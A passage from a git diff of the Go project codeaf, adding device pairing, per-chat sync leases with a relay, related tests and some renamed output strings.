pair.WantsToJoinLine("laptop", "linux") + "\n" + pair.CheckQuestion(check) + " y / n " + if !strings.HasPrefix(out.String(), want) || !strings.Contains(out.String(), pair.ApprovedLine("laptop")) { + t.Fatalf("the approving terminal printed:\n%s\nwant it to start:\n%s", out.String(), want) + } + if err := <-done; err != nil { + t.Fatal(err) + } + screen.waitFor(t, `Paired\.`) + first, _ := identity.Load(rig.homeA) + second, err := identity.Load(rig.homeB) + if err != nil || second.ID() != first.ID() { + t.Fatalf("the new computer holds %v (%v), want the first one's identity", second.ID(), err) + } +} + +// A link pasted without the word approve means the same, because its shape says so. +func TestPairLinkShapeApproves(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + link := screen.waitFor(t, `https://codeaf\.agentfield\.ai/p/\S+#\S+`)[0] + if _, err := rig.approveWith(t, []string{link}, "y\n"); err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } +} + +// Anything but y turns the new computer down, and it is told so. +func TestPairApproveNoDeclines(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + typed := screen.waitFor(t, `codeaf pair approve (\S+)`)[1] + out, err := rig.approveWith(t, []string{"approve", typed}, "\n") + if err != nil || !strings.Contains(out.String(), pair.DeclinedLine) { + t.Fatalf("a no ended with %v and printed %q", err, out.String()) + } + if err := <-done; !errors.Is(err, pair.ErrLinkDeclined) { + t.Fatalf("the new computer ended with %v, want the declined sentence", err) + } +} + +// A computer with no identity of its own has no say, and a typo is refused +// before any request is made. +func TestPairApproveRefusals(t *testing.T) { + rig := newPairRig(t) + out := &pairScreenText{} + err := rig.door(rig.homeB, strings.NewReader("y\n"), out).run(context.Background(), []string{"approve", "k7m2q9xd.AAAAAAAAAAAAAAAAAAAAAA"}) + if !errors.Is(err, pair.ErrNotJoined) { + t.Fatalf("an unpaired computer approving ended with %v", err) + } + err = rig.door(rig.homeA, strings.NewReader(""), out).run(context.Background(), []string{"approve", "nope"}) + if !errors.Is(err, pair.ErrLinkShape) { + t.Fatalf("a typo ended with %v", err) + } +} + +// `codeaf pair approve` with nothing after it is a usage error that names the +// link, not a complaint about the shape of a six-digit code. +func TestPairApproveWithoutALinkSaysUsage(t *testing.T) { + rig := newPairRig(t) + errs := &bytes.Buffer{} + previous := usageErr + usageErr = errs + defer func() { usageErr = previous }() + err := rig.door(rig.homeA, strings.NewReader(""), &pairScreenText{}).run(context.Background(), []string{"approve"}) + if err != exitStatus(2) || !strings.Contains(errs.String(), "usage: codeaf pair approve ") || strings.Contains(errs.String(), "42-715-302") { + t.Fatalf("a bare approve ended with %v and said %q, want its own usage line and exit 2", err, errs.String()) + } +} + +// ctrl+c while the link waits ends the pairing and says that nothing was paired, +// so a person is not left looking at a silent prompt. +func TestPairCancelSaysNothingWasPaired(t *testing.T) { + rig := newPairRig(t) + out := &pairScreenText{} + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- rig.door(rig.homeB, strings.NewReader(""), out).run(ctx, nil) }() + out.waitFor(t, `ctrl\+c to cancel`) + cancel() + if err := <-done; err != nil { + t.Fatalf("cancelling ended with %v, want a clean exit", err) + } + if !strings.Contains(out.String(), pair.CancelledLine) { + t.Fatalf("cancelling printed %q, want %q", out.String(), pair.CancelledLine) + } +} diff --git a/cmd/codeaf/pairroute.go b/cmd/codeaf/pairroute.go new file mode 100644 index 0000000000..fc2bc9f09a --- /dev/null +++ b/cmd/codeaf/pairroute.go @@ -0,0 +1,85 @@ +package main + +// The three things every pairing door needs before it can say a word: which +// relay to go through, the identity to hand over, and where to keep a relay the +// other device named. The chat's `/pair` and the terminal's `codeaf pair` both +// take them from here, so the two doors cannot disagree about where a code goes. + +import ( + "net/http" + "net/url" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/pairbox" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// pairPollTimeout outlasts one held poll (pairbox.MaxWait) so the relay ends the +// wait and this client never cuts a healthy one short. +const pairPollTimeout = pairbox.MaxWait + 10*time.Second + +// pairMailbox is the relay a pairing runs through: the --relay flag, else the +// relay this computer syncs through. A relay named by flag is the one the other +// device is told to pass, so it is `Shown`; the default needs no telling. +func pairMailbox(relayFlag string) (pair.Mailbox, error) { + flag := strings.TrimSpace(relayFlag) + base := flag + if flag == "" { + relay := syncsetup.Resolve(home.Dir()) + if relay.Off { + return pair.Mailbox{}, pair.ErrSyncOff + } + base = relay.URL + } + if base == "" { + return pair.Mailbox{}, pair.ErrNoSync + } + u, err := url.Parse(base) + if err != nil || (u.Scheme != "http" && u.Scheme != "https") || u.Host == "" { + return pair.Mailbox{}, pair.ErrNoSync + } + return pair.Mailbox{ + Box: pairbox.NewHTTP(base, &http.Client{Timeout: pairPollTimeout}), + URL: base, + Host: u.Host, + Shown: flag, + }, nil +} + +// pairGrant is what this computer hands to the device it pairs: the identity it +// has, made on first use, and the relay the pairing went through, so the other +// device syncs through the same one. The hosted default is left out: the other +// device reaches it by default, and a saved copy would pin it to an address the +// hosted relay may one day leave. +// It also names the identities this one replaced by rotation, so a computer +// still on one of them may follow instead of being refused. +func pairGrant(route pair.Mailbox) (pair.Grant, error) { + id, err := identity.Ensure(home.Dir()) + if err != nil { + return pair.Grant{}, err + } + if err := identity.EndSolo(home.Dir()); err != nil { // offering the identity is starting a fleet + return pair.Grant{}, err + } + return pair.Grant{Identity: id, SyncURL: syncsetup.Named(route.URL), Replaces: identity.Predecessors(home.Dir())}, nil +} + +// pairJoining is this computer as the device that types the code. +func pairJoining(replace bool) pair.Joining { return pairJoiningAt(home.Dir())(replace) } + +// pairJoiningAt is the same for the codeaf home at dir. +func pairJoiningAt(dir string) func(replace bool) pair.Joining { + return func(replace bool) pair.Joining { + return pair.Joining{ + Home: dir, + Label: devname.Name(dir), + Replace: replace, + SaveSyncURL: func(url string) error { return syncsetup.SaveRelayURL(dir, url) }, + } + } +} diff --git a/cmd/codeaf/polishrows_test.go b/cmd/codeaf/polishrows_test.go index 1b7fea94d2..549e0f5279 100644 --- a/cmd/codeaf/polishrows_test.go +++ b/cmd/codeaf/polishrows_test.go @@ -207,9 +207,9 @@ func TestDevicesRevokeReadsAllInEitherPositionAndSaysSoInTheUsage(t *testing.T) t.Fatal(err) } if len(left) != 0 { - t.Fatalf("%d devices are still admitted after --all stopped them: %v\nsaid: %s", len(left), left, printed) + t.Fatalf("%d devices are still admitted after --all removed them: %v\nsaid: %s", len(left), left, printed) } - if !strings.Contains(printed, "stopped") { + if !strings.Contains(printed, "removed") { t.Fatalf("nothing said what happened:\n%s", printed) } }) diff --git a/cmd/codeaf/pool.go b/cmd/codeaf/pool.go index c1b8e486c4..4953b286b4 100644 --- a/cmd/codeaf/pool.go +++ b/cmd/codeaf/pool.go @@ -81,9 +81,9 @@ var errPoolKeyDoesNotDecode = errors.New("the stored public key does not decode" // from there — the remedy belongs to whichever word is in force. func poolKeyReason(cfg poolcfg.Config) string { if cfg.Source.PublicKey == "env" { - return "CODEAF_MODEL_POOL_PUBLIC_KEY does not decode (set it to the base64 Ed25519 public key of your relay, or clear it)" + return "CODEAF_MODEL_POOL_PUBLIC_KEY does not decode (set it to the base64 Ed25519 public key of your model-pool server, or clear it)" } - return "models.pool.public_key does not decode (set it to the base64 Ed25519 public key of your relay, or clear it)" + return "models.pool.public_key does not decode (set it to the base64 Ed25519 public key of your model-pool server, or clear it)" } // poolKeys is --key's value: a base64 ed25519 public key, repeatable, each @@ -195,7 +195,7 @@ func printPool(output io.Writer, poolDir string, cfg poolcfg.Config, now time.Ti } for _, line := range []string{ fmt.Sprintf("mode %s · %s", cfg.Mode, cfg.Source.Mode), - fmt.Sprintf("relay %s · %s", cfg.RelayURL, cfg.Source.RelayURL), + fmt.Sprintf("pool server %s · %s", cfg.RelayURL, cfg.Source.RelayURL), fmt.Sprintf("index %s · %s", cfg.IndexURL, cfg.Source.IndexURL), fmt.Sprintf("mirror %s · %s", orNowhere(cfg.MirrorURL), cfg.Source.MirrorURL), fmt.Sprintf("submit %s · %s", orNowhere(cfg.SubmitURL), cfg.Source.SubmitURL), @@ -474,22 +474,22 @@ func probeAddress(url, poolDir string, keys []ed25519.PublicKey, now func() time // asks nothing and says that instead. func relayStatusLine(cfg poolcfg.Config, relay, mirror probeSummary, cached *index.Index) string { if !cfg.CanRead() { - return "relay: not read (model_pool off)" + return "pool server: not read (model_pool off)" } if relay.Reachable { if relay.fromCache { - return fmt.Sprintf("relay: reachable · index unchanged, version %d", relay.Version) + return fmt.Sprintf("pool server: reachable · index unchanged, version %d", relay.Version) } - return fmt.Sprintf("relay: reachable · index version %d", relay.Version) + return fmt.Sprintf("pool server: reachable · index version %d", relay.Version) } if mirror.Reachable { - return fmt.Sprintf("relay: unreachable (%s) · mirror: reachable · index version %d", relay.Reason, mirror.Version) + return fmt.Sprintf("pool server: unreachable (%s) · mirror: reachable · index version %d", relay.Reason, mirror.Version) } where := "built-in seed" if cached != nil { where = "cache" } - return fmt.Sprintf("relay: unreachable (%s) · mirror: unreachable (%s) · reading %s", relay.Reason, mirror.Reason, where) + return fmt.Sprintf("pool server: unreachable (%s) · mirror: unreachable (%s) · reading %s", relay.Reason, mirror.Reason, where) } // oneLine is a reason said on one line: any newline becomes a space, because diff --git a/cmd/codeaf/pool_test.go b/cmd/codeaf/pool_test.go index b9469e1538..244e2aa3b2 100644 --- a/cmd/codeaf/pool_test.go +++ b/cmd/codeaf/pool_test.go @@ -184,7 +184,7 @@ func TestPoolShowPrintsTheConfigAndSaysWhenNoIndexIsCached(t *testing.T) { body := out.String() for _, want := range []string{ "mode on · default", - "relay https://codeaf.agentfield.ai/pool · default", + "pool server https://codeaf.agentfield.ai/pool · default", "index https://codeaf.agentfield.ai/pool/index.json · default", "mirror https://raw.githubusercontent.com/Agent-Field/CodeAF/model-pool/pool/index.json · default", "submit https://codeaf.agentfield.ai/pool/v1/rows · default", @@ -1799,7 +1799,7 @@ func TestPoolStatusSaysTheRelayAnswered(t *testing.T) { if err := runPoolWith([]string{"status", "--key", base64.StdEncoding.EncodeToString(pub)}, &out, t.TempDir(), poolClock(t), lookup); err != nil { t.Fatalf("a reachable relay failed status: %v", err) } - if !strings.Contains(out.String(), "relay: reachable · index version 7") { + if !strings.Contains(out.String(), "pool server: reachable · index version 7") { t.Fatalf("status did not say the relay answered:\n%s", out.String()) } } @@ -1950,7 +1950,7 @@ func TestPoolStatusSaysUnreachableAndStillExitsZero(t *testing.T) { t.Fatalf("an unreachable relay failed status: %v", err) } body := out.String() - if !strings.Contains(body, "relay: unreachable (") { + if !strings.Contains(body, "pool server: unreachable (") { t.Fatalf("status did not say the relay was unreachable:\n%s", body) } if !strings.Contains(body, "mirror: unreachable (") { @@ -1977,7 +1977,7 @@ func TestPoolStatusFallsToTheMirrorWhenTheRelayIsDown(t *testing.T) { t.Fatalf("a mirror that answered still failed status: %v", err) } body := out.String() - if !strings.Contains(body, "relay: unreachable (") || !strings.Contains(body, "mirror: reachable · index version 7") { + if !strings.Contains(body, "pool server: unreachable (") || !strings.Contains(body, "mirror: reachable · index version 7") { t.Fatalf("status did not fall to the mirror:\n%s", body) } } @@ -2046,7 +2046,7 @@ func TestPoolStatusSaysWhyAStoredKeyDoesNotDecode(t *testing.T) { if err := runPoolWith([]string{"status"}, &out, dir, poolClock(t), deadEnv()); err != nil { t.Fatalf("a broken stored key failed status: %v", err) } - if !strings.Contains(out.String(), "relay: unreachable (models.pool.public_key does not decode") { + if !strings.Contains(out.String(), "pool server: unreachable (models.pool.public_key does not decode") { t.Fatalf("status did not name the broken row:\n%s", out.String()) } @@ -2073,7 +2073,7 @@ func TestPoolStatusDoesNotReadWhenOff(t *testing.T) { if err := runPoolWith([]string{"status"}, &out, t.TempDir(), poolClock(t), lookup); err != nil { t.Fatal(err) } - if !strings.Contains(out.String(), "relay: not read (model_pool off)") { + if !strings.Contains(out.String(), "pool server: not read (model_pool off)") { t.Fatalf("an off pool did not say it asked nothing:\n%s", out.String()) } } diff --git a/cmd/codeaf/render.go b/cmd/codeaf/render.go index b3a7a0deca..0781f819a3 100644 --- a/cmd/codeaf/render.go +++ b/cmd/codeaf/render.go @@ -55,8 +55,8 @@ func renderSpine(graph *plan.Graph) { } func renderNodes(graph *plan.Graph) { - fmt.Printf("\n── nodes ───────────────────────────────────────────────────────────\n") - fmt.Printf(" # %-24s %-11s %-12s %s\n", "node", "size", "waits for", "context received") + fmt.Printf("\n── parts ───────────────────────────────────────────────────────────\n") + fmt.Printf(" # %-24s %-11s %-12s %s\n", "part", "size", "waits for", "context received") for _, node := range graph.Nodes { waits, context := "—", "goal only" if len(node.Needs) > 0 { @@ -136,12 +136,12 @@ func renderSchedule(graph *plan.Graph) { if len(stageWaves) > 0 { freed = len(waves[0]) - len(stageWaves[0]) } - fmt.Printf("\n %d of %d nodes start immediately", graph.Roots(), len(graph.Nodes)) + fmt.Printf("\n %d of %d parts start immediately", graph.Roots(), len(graph.Nodes)) if freed > 0 { fmt.Printf(" — %d freed from the stage barrier", freed) } fmt.Printf("\n %s across %s, critical path %d (%d doing real work)\n", - plural(graph.Edges(), "edge"), plural(len(graph.Nodes), "node"), len(waves), graph.WorkDepth()) + plural(graph.Edges(), "edge"), plural(len(graph.Nodes), "part"), len(waves), graph.WorkDepth()) fmt.Printf(" %s to execute, decomposed %s deep", plural(len(graph.Leaves()), "leaf"), plural(graph.Depth()+1, "level")) if unresolved := graph.Unresolved(); unresolved > 0 { @@ -163,7 +163,7 @@ func renderOperations(operations []plan.Operation) { } label := operation.Title if label == "" { - label = fmt.Sprintf("node %d", operation.Node) + label = fmt.Sprintf("part %d", operation.Node) } fmt.Printf(" %-8s %-22s %s\n", operation.Op, clip(label, 22), status) if operation.Reason != "" { diff --git a/cmd/codeaf/run.go b/cmd/codeaf/run.go index d3ca63dfba..7fc892771a 100644 --- a/cmd/codeaf/run.go +++ b/cmd/codeaf/run.go @@ -198,7 +198,7 @@ func runGraph(name string, args []string) error { // The ruler stays keyed to the work model even when a different model // plans: the anchors measure the executor. installMeasuredRulers(settings, settings.Model) - ctx := settings.Context(context.Background(), graph.Goal) + ctx := settings.Context(hostSeated(context.Background()), graph.Goal) // Discovery started before the clients are built, because an adapter reads // the catalog to decide which knobs a model will accept. It is started, not // waited for: every question it answers here is asked later than the first diff --git a/cmd/codeaf/sealseam_test.go b/cmd/codeaf/sealseam_test.go new file mode 100644 index 0000000000..34d79153b5 --- /dev/null +++ b/cmd/codeaf/sealseam_test.go @@ -0,0 +1,26 @@ +package main + +import "testing" + +type sealingStub struct{ failing bool } + +func (s sealingStub) SealFailing() bool { return s.failing } + +// ON THE ORDINARY LAUNCH there is no local seal watch: the agent is a handle on +// an engine in another process, and the segment must read what that agent says. +func TestTheSealSegmentReadsTheAgentWhenThereIsNoLocalWatch(t *testing.T) { + seam := sealSeamOf(sealingStub{failing: true}, nil) + if seam.Failing == nil || !seam.Failing() { + t.Fatal("a failing far seal did not reach the surface") + } + if seam.Notice != nil { + t.Fatal("a seam with no local watch has nothing to drain") + } +} + +// Unknown is not a failure: an agent that cannot say, and no watch, draw nothing. +func TestNoAgentStateAndNoWatchDrawsNothing(t *testing.T) { + if seam := sealSeamOf(struct{}{}, nil); seam.Failing != nil || seam.Notice != nil { + t.Fatal("a seam appeared from nothing") + } +} diff --git a/cmd/codeaf/syncdrive.go b/cmd/codeaf/syncdrive.go new file mode 100644 index 0000000000..d46df2a7f0 --- /dev/null +++ b/cmd/codeaf/syncdrive.go @@ -0,0 +1,160 @@ +package main + +import ( + "context" + "errors" + "log" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// driveCloseWithin bounds the quit path's last publish and lease release, so a +// silent relay cannot hold the terminal. +const driveCloseWithin = 10 * time.Second + +// syncDrives is the drive side of every conversation the chat door opened in +// this process. It exists at all only for a chat: a headless run never syncs. +var syncDrives = &driveBook{} + +// driveBook keeps one drive side per cell, so a conversation opened again in the +// same process (a resume, a switch back) goes on with the drive it had instead +// of taking a second lease. +type driveBook struct { + mu sync.Mutex + drive map[string]*liveDrive +} + +// driveOf is the drive side of c, made on first use. It answers nil, and the +// chat runs exactly as it did before sync existed, when sync is off, or when it +// cannot start: a relay setting must never stop a conversation from opening. +// A computer with no identity yet gets a drive side that starts by itself the +// moment one is made (see liveDrive). A nil book answers nil, which is how a +// door that never syncs asks. +func (b *driveBook) driveOf(c cell.Cell, engine cellstore.Engine, report func(error)) *liveDrive { + if b == nil { + return nil + } + b.mu.Lock() + defer b.mu.Unlock() + if d := b.drive[c.ID]; d != nil && !d.superseded() { + return d + } + // A drive side that no longer holds the chat's lease (another machine took it, or it was moved + // back here) never drives again: the chat opened here needs a drive side of its own, or every + // tool call in it would be refused as superseded. + delete(b.drive, c.ID) + d := newLiveDrive(func() (*syncsetup.Drive, error) { return startDrive(c, engine, report) }) + if d != nil { + if b.drive == nil { + b.drive = map[string]*liveDrive{} + } + b.drive[c.ID] = d + } + return d +} + +// startDrive opens the drive side of c. The error it answers is already +// reported; it is returned so a caller can tell a computer that has no identity +// yet (which /pair will change) from one that cannot sync at all. +func startDrive(c cell.Cell, engine cellstore.Engine, report func(error)) (*syncsetup.Drive, error) { + s, ok, err := syncsetup.Open(home.Dir()) + if errors.Is(err, syncsetup.ErrNoIdentity) { + // Waiting for an identity is not a seal failing: the live drive starts by itself once one + // is made, and until then nothing is owed to the relay. With the hosted default every + // fresh computer is in this state, so reporting it would mark every first launch as + // failing to seal. + return nil, err + } + if err != nil || !ok { + report(err) + return nil, err + } + if syncsetup.Quiet(home.Dir()) { + return nil, syncsetup.ErrQuiet // a fleet of one has nothing to sync with yet + } + if line, first := s.FirstRun(); first { + surfaceNotices.Say(line) + } + d, err := s.Drive(context.Background(), engine, c, syncsetup.DriveOptions{ + DeviceName: deviceName(), + // The title the chat has now, sealed on its way out: the other machine's + // list names the chat by it. + Title: func() string { return chatTitle(c) }, + // A line is said by the surface the moment it happens (tui3/notices.go). + OnNotice: surfaceNotices.Say, + }) + if sayRefusal(err) { + return nil, err + } + report(err) + return d, err +} + +// sayRefusal tells the person what the relay refused when it refused this +// device outright (removed from the fleet, replaced, over its limit) and +// answers true, so the chat runs unsynced with the reason on screen instead +// of opening as if nothing were wrong. Any other failure is not its business. +func sayRefusal(err error) bool { return sayRefusalTo(surfaceNotices.SayOnce, err) } + +func sayRefusalTo(say func(string), err error) bool { + r, ok := cellsync.RefusalOf(err) + if ok { + say(r.Say(err)) + } + return ok +} + +// chatTitle is the chat's title as its session record has it now: the name it +// earned, or the person's opening words until it has one. +func chatTitle(c cell.Cell) string { + m, _ := session.LoadMeta(c.Root) + return m.Title +} + +// closeAll ends every drive side: what is sealed is published and each lease is +// given back, so another machine can take the chat at once. It runs on the +// door's way out, after the conversations closed, so their last seal is in. +func (b *driveBook) closeAll() { + drives := b.take() + ctx, cancel := context.WithTimeout(context.Background(), driveCloseWithin) + defer cancel() + for _, d := range drives { + if err := d.Close(ctx); err != nil { + log.Print("sync: closing a chat: ", err) + } + } +} + +// take hands over every drive side and forgets them. +func (b *driveBook) take() map[string]*liveDrive { + b.mu.Lock() + defer b.mu.Unlock() + drives := b.drive + b.drive = nil + return drives +} + +// driveGate is what a tool call meets before it runs: the superseded line once +// another machine has taken the chat, and nothing while this one drives it. +func driveGate(d *liveDrive) func() error { + if d == nil { + return nil + } + return d.Gate +} + +// driveStore is how the seat's seals reach the drive side; nil seals on the +// engine itself. +func driveStore(d *liveDrive) func(cellstore.Engine) cellstore.Store { + if d == nil { + return nil + } + return d.Store +} diff --git a/cmd/codeaf/syncdrive_live.go b/cmd/codeaf/syncdrive_live.go new file mode 100644 index 0000000000..0e53d025f0 --- /dev/null +++ b/cmd/codeaf/syncdrive_live.go @@ -0,0 +1,130 @@ +package main + +import ( + "context" + "errors" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// liveDrive is the drive side of one chat, started when it can be. A chat opens +// before its computer is paired, and /pair inside the chat then makes the +// identity that sync needs; a drive side fixed at open would leave that chat +// unsynced until the next restart. So the chat's seat holds a liveDrive, which +// asks again at each seal, gate and idle for as long as the one thing missing +// is the identity, and goes on with the real drive from the call that finds it. +type liveDrive struct { + start func() (*syncsetup.Drive, error) + + mu sync.Mutex + drive *syncsetup.Drive + waiting bool // sync is on and only an identity, or the end of solo, is missing +} + +// newLiveDrive starts the drive side now when it can. It answers nil when sync +// is off or cannot start for any reason a pairing would not change, so the chat +// runs unsynced exactly as it did before sync existed. +func newLiveDrive(start func() (*syncsetup.Drive, error)) *liveDrive { + l := &liveDrive{start: start} + l.try() + if l.drive == nil && !l.waiting { + return nil + } + return l +} + +// try starts the drive side if it is not running and an identity is there now. +// The identity is one file read and the relay is asked only once it exists, so a +// chat that never pairs costs nothing per call. +func (l *liveDrive) try() { + l.mu.Lock() + defer l.mu.Unlock() + if l.drive != nil || (l.waiting && !syncsetup.MayTalk(home.Dir())) { + return + } + d, err := l.start() + l.drive, l.waiting = d, errors.Is(err, syncsetup.ErrNoIdentity) || errors.Is(err, syncsetup.ErrQuiet) +} + +// current is the running drive side, or nil while there is none. +func (l *liveDrive) current() *syncsetup.Drive { + l.try() + l.mu.Lock() + defer l.mu.Unlock() + return l.drive +} + +// Gate is the drive side's gate: nothing is refused until a drive side exists. +func (l *liveDrive) Gate() error { + if d := l.current(); d != nil { + return d.Gate() + } + return nil +} + +// Idle uploads what is sealed, once a drive side exists. +func (l *liveDrive) Idle() { + if d := l.current(); d != nil { + d.Idle() + } +} + +// Store is the store a seal goes through: the engine itself until a drive side +// exists, then the drive side's. A turn sealed before it started is noted by the +// drive side's own catch-up, so nothing sealed in between is left behind. +func (l *liveDrive) Store(e cellstore.Engine) cellstore.Store { + return lateStore{live: l, engine: e} +} + +// Close ends the drive side if one ever started. +func (l *liveDrive) Close(ctx context.Context) error { + if d := l.started(); d != nil { + return d.Close(ctx) + } + return nil +} + +// holdsLeaseWithin bounds the look at the directory that a chat opened again makes. +const holdsLeaseWithin = 5 * time.Second + +// superseded says a drive side was running and the chat has since been taken from it, by +// another machine or by a move back to this one, so that it no longer holds the lease it +// publishes under. A drive side that still waits for an identity, or that drives, is not. +func (l *liveDrive) superseded() bool { + d := l.started() + if d == nil { + return false + } + ctx, cancel := context.WithTimeout(context.Background(), holdsLeaseWithin) + defer cancel() + return !d.HoldsLease(ctx) +} + +// started is the drive side if one ever started, without trying to start it. +func (l *liveDrive) started() *syncsetup.Drive { + l.mu.Lock() + defer l.mu.Unlock() + return l.drive +} + +// lateStore seals on whichever store the chat has now. +type lateStore struct { + live *liveDrive + engine cellstore.Engine +} + +var _ cellstore.Store = lateStore{} + +// Seal implements cellstore.Store. +func (s lateStore) Seal(ctx context.Context, c cell.Cell, info cellstore.TurnInfo) (cellstore.Sealed, error) { + var store cellstore.Store = s.engine + if d := s.live.current(); d != nil { + store = d.Store(s.engine) + } + return store.Seal(ctx, c, info) +} diff --git a/cmd/codeaf/syncdrive_test.go b/cmd/codeaf/syncdrive_test.go new file mode 100644 index 0000000000..7a8587b5ed --- /dev/null +++ b/cmd/codeaf/syncdrive_test.go @@ -0,0 +1,376 @@ +package main + +import ( + "context" + "errors" + "fmt" + "net/http/httptest" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/furrow" + "github.com/Agent-Field/codeaf/internal/handoff" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/relayserve" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// doorChat is a chat cell opened through the door's own seat construction, in a +// home of its own. +func doorChat(t *testing.T) (session.Config, cell.Cell) { + t.Helper() + if _, err := furrow.ResolveOwned(); err != nil { + t.Skipf("no engine binary: %v", err) + } + // The engine daemon has no sync verbs until its own lane lands, so the + // door's sync runs over the spawn transport, which has them. + t.Setenv("CODEAF_ENGINE_DAEMON", "0") + t.Setenv(home.EnvVar, t.TempDir()) + t.Setenv("HOME", t.TempDir()) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + prior := syncDrives + syncDrives = &driveBook{} + t.Cleanup(func() { syncDrives.closeAll(); syncDrives = prior }) + return session.Config{Place: session.Place{Dir: c.Root, Workspace: t.TempDir()}}, c +} + +func toolCallOn(t *testing.T, seat executor.Seat, workspace string) error { + t.Helper() + call := executor.Call{Tool: "bash", Args: []byte(`{"command":"echo"}`)} + return seat.Around(context.Background(), call, func() ([]byte, bool) { + return nil, os.WriteFile(filepath.Join(workspace, "f.txt"), []byte("x"), 0o600) != nil + }) +} + +// With no relay set the door is Stage 0 exactly: no drive side is made, the seat +// is not gated, and a turn is sealed by the zero device under fence 0. +func TestDriveSideOffIsStageZero(t *testing.T) { + cfg, c := doorChat(t) + t.Setenv(syncsetup.URLVar, "off") + seated := v3Seated(cfg) + if len(syncDrives.drive) != 0 { + t.Fatal("a drive side was made with sync off") + } + if seated.Seat == nil { + t.Fatal("no seat") + } + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + turns, err := cellstore.Turns(c) + if err != nil || len(turns) == 0 { + t.Fatalf("turns = %v, %v", turns, err) + } + if got := turns[len(turns)-1]; got.Fence != 0 || got.Device != "0000000000000000000000000000000000000000000000000000000000000000" { + t.Fatalf("a Stage 0 turn carries %q fence %d", got.Device, got.Fence) + } +} + +// With a relay set the door notes every sealed turn for it, and closing the +// door gives the lease back after publishing what was sealed. +func TestDriveSideDoorPublishesAndReleases(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + if _, err := identity.Ensure(home.Dir()); err != nil { + t.Fatal(err) + } + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + + seated := v3Seated(cfg) + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + syncDrives.closeAll() + + s, ok, err := syncsetup.Open(home.Dir()) + if err != nil || !ok { + t.Fatalf("Open = %v, %v", ok, err) + } + head, _ := cellstore.Head(c) + v, err := s.Dir.Cell(context.Background(), c.ID) + if err != nil || v.Cell.Head != head.Turn.ID { + t.Fatalf("directory head %q (%v), want the chat's %q", v.Cell.Head, err, head.Turn.ID) + } + if v.Cell.Lease.Expires != 0 || v.Cell.Lease.Device != s.Device.ID() { + t.Fatalf("lease after close = %+v, want released by this device", v.Cell.Lease) + } +} + +// A device the relay has stopped is a refusal the person is told of, even when +// the error arrives wrapped; a relay that is merely unreachable is not. +func TestSayRefusalOnlyForRefusals(t *testing.T) { + if !sayRefusal(fmt.Errorf("put device: %w", wireauth.ErrRevoked)) { + t.Error("a stopped device was not told") + } + if sayRefusal(errors.New("connection refused")) || sayRefusal(nil) { + t.Error("a failure that is not a refusal was said") + } +} + +// A chat that opened before this computer had an identity starts to sync the +// moment /pair makes one, with no restart: the next call's seal is published and +// closing the chat gives the lease back, exactly as for a chat that was paired +// from the start. +func TestDriveSideStartsWhenAPairingMakesTheIdentity(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + + seated := v3Seated(cfg) + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + if _, err := identity.Ensure(home.Dir()); err != nil { // what /pair does in the running chat + t.Fatal(err) + } + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + syncDrives.closeAll() + + s, ok, err := syncsetup.Open(home.Dir()) + if err != nil || !ok { + t.Fatalf("Open = %v, %v", ok, err) + } + head, _ := cellstore.Head(c) + v, err := s.Dir.Cell(context.Background(), c.ID) + if err != nil || v.Cell.Head != head.Turn.ID { + t.Fatalf("directory head %q (%v), want the chat's %q", v.Cell.Head, err, head.Turn.ID) + } +} + +// A chat open while its computer is solo uploads its next turns the moment the +// computer is approved, with no reopen. +func TestDriveSideStartsWhenTheSoloMarkerEnds(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + if _, err := identity.EnsureSolo(home.Dir()); err != nil { + t.Fatal(err) + } + + seated := v3Seated(cfg) + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + if d := syncDrives.drive[c.ID]; d == nil || d.started() != nil { + t.Fatal("a solo computer must hold a waiting drive side, not a running one") + } + if 